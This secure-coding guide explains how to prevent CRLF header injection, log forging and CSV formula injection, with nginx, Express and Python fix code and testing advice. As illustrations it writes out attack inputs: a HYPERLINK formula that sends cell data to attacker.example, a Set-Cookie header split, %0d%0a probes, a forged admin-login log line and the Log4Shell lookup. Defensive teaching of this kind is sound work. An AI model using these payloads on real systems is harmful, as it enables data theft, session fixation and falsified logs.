Prevent CRLF header injection, log forging and CSV formula injection

Three formats that applications write all the time use line breaks as structure. HTTP/1.1 ends each header field with CRLF and ends the header block with an empty line. Plain-text logs treat each line as one event. CSV ends each record with CRLF. When input containing a carriage return (CR, 0x0D) or a line feed (LF, 0x0A) reaches one of these writers unencoded, the attacker can start a new header, a new log event or a new row.

CSV has a second trap. A spreadsheet uses a cell's first character to decide whether the cell is text or a formula, so a value that starts with = becomes a live formula when the file is opened. No line break is needed. CWE tracks these weaknesses as CWE-93 (CRLF injection), CWE-113 (HTTP request and response splitting), CWE-117 (improper output neutralization for logs) and CWE-1236 (formula elements in a CSV file).

Redirect targets, download names and language headers often carry request data. If the value contains CR LF after decoding, a vulnerable writer emits two header lines, for example Location: /home followed by Set-Cookie: session=attacker. The attacker can plant a session cookie, add or override response headers, or, with an empty line, start the body early and inject script. If a shared cache stores that response, later visitors receive the poisoned copy.

RFC 9110 calls CR, LF and NUL in a field value invalid and dangerous, and requires a recipient to reject the message or replace each of those characters with a space. HTTP/2 (RFC 9113) treats such a field as malformed and forbids intermediaries from forwarding it. The risk returns when a proxy translates HTTP/2 to HTTP/1.1 without that check, which is why ASVS 5.0 requirement 4.2.4 asks for it.

The bug also works in the other direction. A service that copies input into a header of an outgoing request can add a header the backend trusts, such as an identity header that only the proxy should set.

Most maintained HTTP stacks refuse to write CR or LF in a header value, but they refuse in different ways, and a few pass the bytes through. Each row below was tested on 2026-10-10 by setting a header from input that decodes to CR LF followed by Set-Cookie, then reading the raw response bytes.

Rejecting is the safest behavior, but it turns the attack into a 500 error, so validate values before you set them. Replacing CR and LF with spaces stops the split, yet the attacker's text stays in the header, and a redirect built from input is still an open redirect. In ASGI applications the check lives in the server, not in Starlette, so moving off uvicorn can change the behavior. Python's wsgiref started rejecting control characters only with the fix for CVE-2026-0865, and the http.server documentation states that send_header() does not reject CRLF.

Outgoing clients check as well. Node's http.request and fetch, Python's http.client, Requests and HTTPX, and Go's net/http client all refused a header value containing CR LF. In Python 3.14 the email package's EmailMessage refused CR or LF in a header value, which blocks SMTP header injection through that API.

nginx decodes percent-encoding before it matches locations, and $uri (and $document_uri, its alias) holds that decoded, normalized path. A common redirect, return 301 https://www.example.com$uri;, therefore writes a real CR LF when the request path contains %0d%0a. In nginx 1.31.6 this added a Set-Cookie header to the response. The same variable in add_header injected a response header, and in proxy_set_header it added a header to the request sent upstream. A lone %0a reached the wire as a bare LF.

Use $request_uri, the original request target. It stays percent-encoded, and it keeps the query string that $uri drops. Review every return, add_header and proxy_set_header that uses $uri or $document_uri, and test each one with %0d%0a.

server {
    listen 80;
    server_name example.com;

    # Vulnerable: $uri is decoded, so %0d%0a in the path becomes CR LF
    # return 301 https://www.example.com$uri;

    # Fixed: $request_uri is the original target, still percent-encoded
    return 301 https://www.example.com$request_uri;
}

Set headers through framework helpers and keep the values simple. In Express 5, res.redirect() percent-encodes CR and LF, and res.attachment() escapes quotes in the file name and adds an RFC 8187 filename* parameter when the name needs one. Concatenating a name into Content-Disposition is unsafe even without CR LF: a quote ends the filename, and an injected filename* parameter wins because RFC 6266 tells recipients to prefer it. Validate anything else you echo: a request ID should match a short token pattern, and a language should come from a fixed list. For redirects, an allowlist of local paths stops header injection and open redirects in one step; /domains/appsec/secure-features/open-redirect/ covers that allowlist.

Do not fix a header by deleting only the \r\n pair. RFC 9112 lets a recipient treat a bare LF as a line ending, and the nginx test above put a bare LF on the wire. If free text must go into a header, encode it with percent-encoding or RFC 8187 instead of deleting characters.

// headers.mjs: Express 5
import { randomUUID } from 'node:crypto';
import express from 'express';

const app = express();
const REQUEST_ID = /^[A-Za-z0-9._-]{1,64}$/;
const RETURN_TO = new Set(['/', '/account', '/orders']);

app.use((req, res, next) => {
  // Echo (and later log) a caller's request ID only if it is a plain token.
  const supplied = req.get('x-request-id');
  req.id = supplied && REQUEST_ID.test(supplied) ? supplied : randomUUID();
  res.set('X-Request-Id', req.id);
  next();
});

app.get('/reports/download', (req, res) => {
  // res.attachment() quotes the name and adds an RFC 8187 filename* parameter.
  res.attachment(`${String(req.query.name ?? 'report')}.csv`);
  res.send('id,total\n');
});

app.get('/signed-in', (req, res) => {
  // An allowlist blocks header injection and open redirects in one step.
  const target = String(req.query.next ?? '/');
  res.redirect(RETURN_TO.has(target) ? target : '/');
});

export default app;

A text log format such as "login failed user=%s" accepts any username, including one that holds a newline and a fake entry: alice\n2026-10-10 12:00:00 INFO auth: login succeeded user=admin. The file now shows an admin login that never happened. Forged lines mislead investigators, break parsers and alert rules, and can hide real events. If a web console renders log values as HTML, script in a value becomes stored XSS in the console, which is one reason OWASP says web-accessible logs should be served as plain text.

Some loggers interpret what they log. Log4j 2 releases before 2.15.0 resolved ${jndi:...} lookups in logged messages by default, so logging a request header was enough for remote code execution (CVE-2021-44228, Log4Shell). Version 2.16.0 removed message lookups entirely and 2.17.0 fixed a further lookup flaw, so run a current 2.x release rather than stopping at 2.15.0.

Write one JSON object per line. A JSON encoder writes a newline inside a value as \n and other control characters as \u00XX escapes, so each event stays on one line whatever the input contains. pino 10 does this by default in Node.js. In Python, use a JSON formatter such as the standard-library one below, python-json-logger or structlog. If you must keep a text format, encode instead: %r in Python's logging escapes the newline, and Log4j 2's %enc{%m}{CRLF} writes CR and LF as the text \r and \n. Bound field lengths, and keep secrets out of logs entirely. The fix cards at /fix/crlf-log-injection/ apply this in Express, Flask and Spring Boot.

# json_logging.py: one JSON object per line, standard library only
import json
import logging
from datetime import datetime, timezone


class JsonFormatter(logging.Formatter):
    FIELDS = ("user", "ip", "request_id")

    def format(self, record):
        event = {
            "time": datetime.fromtimestamp(record.created, timezone.utc).isoformat(),
            "level": record.levelname,
            "logger": record.name,
            "msg": record.getMessage(),
        }
        for key in self.FIELDS:
            if hasattr(record, key):
                event[key] = str(getattr(record, key))[:256]  # bound each field
        if record.exc_info:
            event["exc"] = self.formatException(record.exc_info)
        return json.dumps(event, ensure_ascii=False)  # \n -> "\\n", controls -> \u00XX


handler = logging.StreamHandler()
handler.setFormatter(JsonFormatter())
log = logging.getLogger("auth")
log.addHandler(handler)
log.setLevel(logging.INFO)

username = "alice\n2026-10-10 12:00:00 INFO auth: login succeeded user=admin"
log.warning("login failed", extra={"user": username})

When a spreadsheet opens a CSV file, a cell that starts with = is a formula. OWASP lists +, -, @, tab, CR and LF as further triggers, plus the full-width forms ＝ ＋ － ＠. A ticket subject such as =HYPERLINK("https://attacker.example/?d="&C2,"Open") becomes a link that sends a neighboring cell to the attacker when someone clicks it. OWASP describes the impact as exfiltrating spreadsheet contents and exploiting users who click through warnings or spreadsheet bugs.

Quoting alone is not a defense: "=1+1" in a CSV file is a quoted field whose value is still =1+1. Prefix text cells that start with a trigger character with a single quote, quote every field, and double embedded quotes as RFC 4180 requires. Keep numeric columns numeric, so -5 stays a number and only text such as -2+3 gets the prefix. ASVS 5.0 lists this as requirement 1.2.10, at Level 3.

The protection has limits. OWASP notes that Excel may drop the quote when a file is saved and reopened, and the apostrophe becomes part of the data for any program that reads the file. When people are meant to open the export in a spreadsheet, XLSX with typed string cells is more robust.

Exports are one direction. When users upload spreadsheets and documents for you to preview, convert or index, the risk is the parser itself: check the package and run the converter in an isolated container, as /domains/appsec/secure-features/untrusted-document-conversion/ shows.

# csv_export.py: neutralize formula triggers in text cells, quote every field
import csv
import io

# = + - @ TAB CR LF, plus the full-width = + - @ that some spreadsheet apps accept
TRIGGERS = ("=", "+", "-", "@", "\t", "\r", "\n",
            "＝", "＋", "－", "＠")


def safe_cell(value):
    if isinstance(value, (int, float)) and not isinstance(value, bool):
        return value  # real numbers stay numbers, so -5 is not altered
    text = "" if value is None else str(value)
    return "'" + text if text.startswith(TRIGGERS) else text


def export_csv(rows):
    out = io.StringIO()
    writer = csv.writer(out, quoting=csv.QUOTE_ALL)  # RFC 4180: CRLF rows, "" escapes
    for row in rows:
        writer.writerow([safe_cell(v) for v in row])
    return out.getvalue()

csv-stringify for Node.js has an escape_formulas option, added in 6.3.0 and off by default. In 6.9.0 it prefixed text starting with = + - @, tab or CR, and the full-width forms, and it left numbers alone. It did not prefix a leading LF, which OWASP lists, so add that check if you follow OWASP's list. Python's csv module has no such option: QUOTE_ALL quotes fields but leaves =1+1 intact, so you need a function like safe_cell above.

// export.mjs: csv-stringify 6.x
import { stringify } from 'csv-stringify/sync';

export function ticketsCsv(tickets) {
  return stringify(tickets, {
    header: true,
    columns: ['id', 'customer', 'subject', 'amount'],
    quoted_string: true,    // quote every text field
    escape_formulas: true,  // prefix ' to text that starts with = + - @ TAB CR
    record_delimiter: 'windows',  // CRLF, as in RFC 4180
  });
}

openpyxl 3.1.5 stores any string that starts with = as a formula, so appending a ticket subject such as =1+1 created a formula cell. Set the cell's data_type to "s" for user text. In a test, open the saved file as a zip and check that the sheet XML has no <f> formula elements. Other libraries behave differently, so check what yours does with a leading =.

# xlsx_export.py: openpyxl 3.1 stores any str that starts with "=" as a formula
from openpyxl import Workbook


def export_xlsx(rows, path):
    wb = Workbook()
    ws = wb.active
    for row in rows:
        ws.append(row)
    for row in ws.iter_rows():
        for cell in row:
            if cell.data_type == "f":  # user text was turned into a formula
                cell.data_type = "s"   # write it as a plain string cell
    wb.save(path)

Most incomplete fixes handle one character or one layer.

• Removing \r\n pairs but leaving a bare \n or \r.
• Validating before decoding. A value checked while still percent-encoded becomes CR LF when a later layer decodes it, which is the nginx $uri problem in another form. Decode once, then validate (ASVS 5.0 requirement 1.1.1).
• Trusting replace-with-space. Go and Tomcat stop the split, but the attacker's text stays in the header, so the value still needs validation.
• Turning off library checks. Netty's DefaultHttpHeaders(false) disables its header validation; CodeQL flags this as java/netty-http-request-or-response-splitting.
• Logging raw headers or bodies. They carry secrets as well as attacker text. Log selected, bounded fields.
• Prefixing every CSV cell. A blanket prefix turns -5 into text and breaks totals; prefix text cells only.

Test bytes, not the framework's object model. A raw socket or curl -i shows whether a second header line exists; a parsed response object can hide it. Send both %0d%0a and %0a, and test through the real proxy chain, because nginx and the application behave differently.

For logs, write a payload event and confirm that the sink stores one record whose field still contains the newline as data. For exports, check the file bytes, and for XLSX the sheet XML. Scanners help: ZAP's active scan rule 40003 tests for CRLF injection, and CodeQL has py/log-injection, js/log-injection, java/log-injection, py/http-response-splitting and java/http-response-splitting.

Sources & further reading

The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.

1. RFC 9110, section 5.5: field values (CR, LF and NUL). June 2022.
2. RFC 9113, section 8.2.1: HTTP/2 field validity. June 2022.
3. Python documentation: http.server security considerations. Python 3.15.
4. nginx: $uri and $request_uri in ngx_http_core_module
5. OWASP Cheat Sheet Series: Logging
6. Apache Log4j 2: Pattern Layout encode converter
7. Apache Logging Services: Log4j security vulnerabilities (CVE-2021-44228)
8. OWASP: CSV Injection
9. RFC 4180, section 2: CSV format rules. October 2005.
10. csv-stringify: the escape_formulas option

Reference information

Tags

InjectionLogging and detection

SDLC phase

Development

Role

DevelopersAppSec engineersPlatform engineers and SREs

CAPEC attack patterns

• CAPEC-34 at MITRE
• CAPEC-105 at MITRE
• CAPEC-93 at MITRE
• CAPEC-81 at MITRE

Download this guide as Markdown

Continue exploring